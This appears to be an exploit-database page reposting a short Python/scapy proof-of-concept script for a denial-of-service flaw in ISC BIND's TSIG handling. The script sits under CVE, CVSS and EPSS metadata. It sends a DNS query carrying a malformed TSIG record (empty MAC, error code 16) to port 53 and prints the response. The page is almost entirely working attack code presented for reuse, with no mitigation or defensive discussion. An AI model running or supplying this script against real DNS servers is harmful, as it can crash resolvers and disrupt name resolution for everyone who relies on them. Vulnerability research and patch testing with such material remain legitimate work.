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BIND TSIG Denial of Service

CVE Category Price Severity
CVE-2020-8616 CWE-400 $5,000 High
Author Risk Exploitation Type Date
Unknown High Remote 2020-05-27
CPE
cpe:cpe:/a:isc:bind
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020050207

Below is a copy:

BIND TSIG Denial of Service
#!/usr/bin/python
#coding:utf-8

from scapy.all import DNS, DNSQR, IP, sr1, UDP, DNSRRTSIG, DNSRROPT

tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=0, mac_data="", time_signed=0, fudge=300, error=16)

dns_req = IP(dst='127.0.0.1')/UDP(dport=53)/DNS(rd=1, ad=1, qd=DNSQR(qname='www.example.com'), ar=tsig)
answer = sr1(dns_req, verbose=0)

print(answer[DNS].summary())

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